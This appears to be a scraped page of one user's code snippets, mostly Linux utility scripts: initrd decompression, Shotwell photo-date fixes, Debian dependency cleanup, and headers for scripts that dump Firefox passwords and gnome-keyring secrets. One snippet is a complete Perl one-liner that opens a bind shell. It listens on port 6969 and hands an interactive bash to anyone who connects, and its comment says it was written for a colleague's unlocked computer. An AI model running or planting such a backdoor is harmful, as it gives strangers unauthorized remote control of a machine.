lukeross

#!/bin/sh

# ```
# extract_firefox_passwords.sh profile_directory master_password
# ```
#
# Requires `jq` and `pwdecrypt` (in linbss3-utils).  If you have not set a master password, use the empty string.
# 
# This is based on the examples at <https://blog.tajuma.com/?p=35>.

lukeross

#!/usr/bin/env python

"""
# extract_secret_storage.py

Dumps out the contents of your libsecret storage (eg. gnome-keyring).

Requires:
- <https://www.python.org/>
- <https://pypi.org/project/SecretStorage/>

lukeross

#!/bin/sh

# This was based on a silly discussion at $job about a colleague who left their
# computer unlocked. It runs a daemon that accepts connections and forks a
# bash shell for each. The requirements were that it doesn't need any additional
# software installing on a typical Linux host, and is short enough to type
# in at the keyboard.

perl -MIPC::Open3 -MIO::Socket::INET -e '$s = IO::Socket::INET->new(Listen => 1, LocalPort => 6969); while(1) { $c = $s->accept; $f = fileno $c; open3("<&$f", ">&$f", ">&$f", "bash", "-il");}'

lukeross

#!/bin/sh

# decompress-initrd
#
# Decompress Linux kernel initrds where they consist of a microcode update
# followed by the actual initrd.
#
# This script was taken from that contributed by woolpool at
# <https://unix.stackexchange.com/questions/163346/why-is-it-that-my-initrd-only-has-one-directory-namely-kernel>.

lukeross

/*
 * WhatsApp photos in shotwell don't get an exposure time set, but it can be backfilled from the filename
 * sqlite3 .local/share/shotwell/photo.db
 */
update videotable set exposure_time=unixepoch(substring(filename, -19, 4)||"-"||substring(filename, -15, 2)||"-"||substring(filename, -13, 2)||"T00:00:00") where filename like "%VID-%-WA%.mp4" and exposure_time=0;
update phototable set exposure_time=unixepoch(substring(filename, -19, 4)||"-"||substring(filename, -15, 2)||"-"||substring(filename, -13, 2)||"T00:00:00") where filename like "%IMG-%-WA%.jpg" and exposure_time=0;

lukeross

#!/usr/bin/env python3

"""
Find deb packages which are not marked as auto-removable because they
participate in a circular dependency loop.

This script was taken from that contributed by gnack at
<http://forums.debian.net/viewtopic.php?f=10&t=74238>.

I've updated it to python 3 and made it work more reliably on multiarch.

lukeross

#!/usr/bin/perl
# Copyright (c) Marcus Post, <marcus@marcuspost.com> 
               #              #              #              #
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until(($_=pop(zutil(($_==pp(zuttil(($_==p(zuttil(($_==p(zutttil(($_==p(zuttt
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